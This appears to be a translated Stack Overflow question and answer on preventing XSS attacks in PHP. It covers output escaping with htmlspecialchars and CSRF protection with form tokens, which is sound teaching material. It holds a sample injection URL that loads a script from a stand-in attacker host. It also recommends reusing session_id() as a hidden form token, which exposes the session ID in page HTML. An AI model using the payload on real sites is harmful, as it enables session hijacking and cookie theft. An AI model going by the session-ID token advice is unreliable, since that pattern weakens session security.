如何防止PHP中的XSS攻击?

时间:2014-07-21 20:07:36

标签: php mysql pdo mysqli

我在网上发现了很多功能/类来防止XSS攻击。现在,什么是最好的PHP函数/类100%防止XSS攻击输入POST / GET表单值?

1 个答案:

答案 0 :(得分:2)

XSS(跨站点脚本)有多种形式,其中一种形式允许用户通过将用户输入与生成的HTML混合来操纵您的网站内容。

示例:

http://www.exemple.com/setname.php?name=<script src=http://evil_source.com/browser_hijack.js></script>

如果您的网站在某处打印$_GET['name'],您将在HTML中注入这个邪恶的JavaScript,允许黑客以用户的名义与其进行交互,窃取cookie等。

在这种情况下,避免此类事件发生的最佳方法是过滤您网站上显示的所有用户发起的信息。

通常的做法是使用htmlspecialchars()htmlentities()来处理用户来源的内容。

经常被遗忘的XSS的另一个方面是跨网站发布

处理来自用户的敏感信息或命令的每个服务器端脚本都应该检查用户是否真的发布了它,而不是其他一些来源搞乱URL或任意POST请求。

这是通过使用只有您的网站知道的帖子密钥来完成的。我想你可以安全地使用session_id()。这是只有您的服务器和用户的浏览器知道的信息,而不是其他任何人。

你所做的是在每个<form>中,包括:

<input type="hidden" name="postkey" value="<?php echo session_id(); ?>">

在处理此表单的脚本中,请确保$_REQUEST['postkey'] == session_id()

这将阻止其他网站使用任意生成的处方集或网址在您的网站上引发用户操作。